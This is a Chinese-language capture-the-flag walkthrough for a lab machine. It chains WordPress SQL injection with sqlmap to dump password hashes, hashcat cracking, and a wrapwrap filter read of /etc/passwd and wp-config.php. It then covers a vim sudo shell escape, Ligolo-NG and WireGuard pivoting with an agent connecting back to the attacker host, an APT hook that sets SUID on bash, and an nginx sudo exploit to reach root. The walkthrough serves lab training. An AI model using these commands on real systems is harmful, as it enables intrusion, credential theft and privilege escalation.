靶机:https://thehackerslabs.com/thlcpptv16/
难度:专家(EXPERTO)
目标 IP:192.168.205.152
本机 IP:192.168.205.141
1.端口枚举及服务探测
使用 nmap
扫描目标 IP 的开放端口:
nmap 192.168.205.152
访问 80 端口
点击 Ir al Examen 发现子域,分别为:
- examen.thlcpptv16.thl
- thlcpptv16.thl
将这两个域名添加到 /etc/hosts
文件中,进一步探查。
打开 examen.thlcpptv16.thl
,发现目标运行了 WordPress。
2.Wordpress 枚举
使用 wpscan 进行 WordPress 用户枚举:
wpscan --url examen.thlcpptv16.thl -e vp,u --api-token xxx #api-token注册wpscan官网获取
扫描结果显示以下用户:
- examinador
- tom
- jerry
用户较多,因此我们尝试 SQL 注入漏洞。关于该漏洞的更多信息可以参考
Important
3.SQL 注入漏洞利用
尝试构造 SQL 注入 payload,利用漏洞获取 WordPress 数据库中的用户信息:
http://examen.thlcpptv16.thl/?rest_route=/my-calendar/v1/events&to=1*
然后使用 sqlmap 进行自动化注入,提取用户信息:
sqlmap -u 'examen.thlcpptv16.thl/?rest_route=/my-calendar/v1/events&to=1*' --batch -D wordpress -T wp_users -C user_login,user_pass --dump
输出如下,成功获取到用户的哈希密码:
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| jerry | $P$B0uohNeAjd6aq3n0dv6NC7Nhkro0Kt. |
| examinador | $P$B43UAoTTnv0stdbxGqzwyQtyXm86x/1 |
| tom | $P$BJrv/Sv/rBlufcIW5FiMdUW4lA5UrN1 |
+------------+------------------------------------+
4.Hash 密码爆破
使用 hashid 工具识别哈希算法:
hashid -e hash
然后使用 hashcat 进行密码爆破:
hashcat -a 0 -m 400 hash /usr/share/wordlists/q5000.txt
爆破成功,获得了 tom
用户凭证
5.WrapWrap Filter 漏洞
通过利用WrapWrap漏洞,构造攻击:
git clone https://github.com/ambionics/wrapwrap.git
git clone https://github.com/cfreal/ten.git
cd ten
python3 -m venv ./venv
source ./venv/bin/activate
pip install .
python3 wrapwrap.py /etc/passwd '{"message":"' '"}' 1300
python3 -m http.server 9000
看看他提示的泄漏信息是什么
python3 wrapwrap.py /var/www/examen.thlcpptv16.thl/wp-config.php '{"message":"' '"}' 1300
成功通过 wrapwrap.py
获取 tom 密码。
6.SSH 登录与提权
查看 tom 家目录下的敏感信息
cat ./bashrc
发现一个 rafael 用户的帐号和密码
在/var/backup/目录上发现了一个名为 passwd.dll 的文件,属于用户 jerry
。虽然内容是可读的,但似乎使用了某种编码。
最后通过使用rot13解码获得其内容进行解码,成功获取了 jerry
用户的 SSH 密钥
Important
有了这些凭证,我们要做的第一件事就是进入 Rafael 的机器。
查看 sudo 权限看看有没有惊喜
vim 提权有很多方式,可以通过 gtfobins查看,我的方式是进入 vim 然后进入命令模式,!/bin/bash
提权
Important
具体就是先输入 :
再输入 !/bin/bash
7.VPN 隧道与进一步渗透
查看 根
目录,发现一个名为 tunnelRafael.conf
的文件,它与 VPN(虚拟专用网络)工具 WireGuard 的典型配置相匹配。
先使用Ligolo-NG把隧道建立一下
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 172.101.0.0/28 dev ligolo
./ligolo-agent -connect 192.168.205.141:11601 -ignore-cert
ligolo-proxy -selfcert
现在我们已经使用代理手段在目标网络内了,然后通过 WireGuard 连接 VPN(这里记得把 tunnelRafael.conf
托到攻击机)
sudo apt install wireguard-tools resolvconf
wg-quick up tunnelRafael.conf
建立成功,网段为 10.13.13.0/24
扫描到通过 VPN 建立的子网 10.13.13.0/24
fping -asgq 10.13.13.0/24
根据推测可以看出应该是 10.13.13.3,扫描一下 22 端口是不是开放的,因为我们还有一个 jerry
用户信息没用过
nmap -p22 -Pn 10.13.13.3
确实是开放的,连接上去
甩了一个 Linpeas 脚本,我们得知用户 jerry
属于 sistema
组,他能够写入 /etc/apt/apt.conf.d
,那我们可以在更新软件包使用 APT 命令修改 bash 权限。
echo 'APT::Update::Pre-Invoke:: {"chmod u+s /bin/bash"};' > /etc/apt/apt.conf.d/01ab
找到了 jerry 凭证,使用这个凭证再重新连接主 ip
查看 sudo 权限可以看到我们可以以 root 身份运行 nginx, 通过 google 搜索可以发现一个关于nginx 的漏洞
./exploit.sh
ssh -i /home/jerry/.ssh/id\_rsa root@127.0.0.1
拿下 root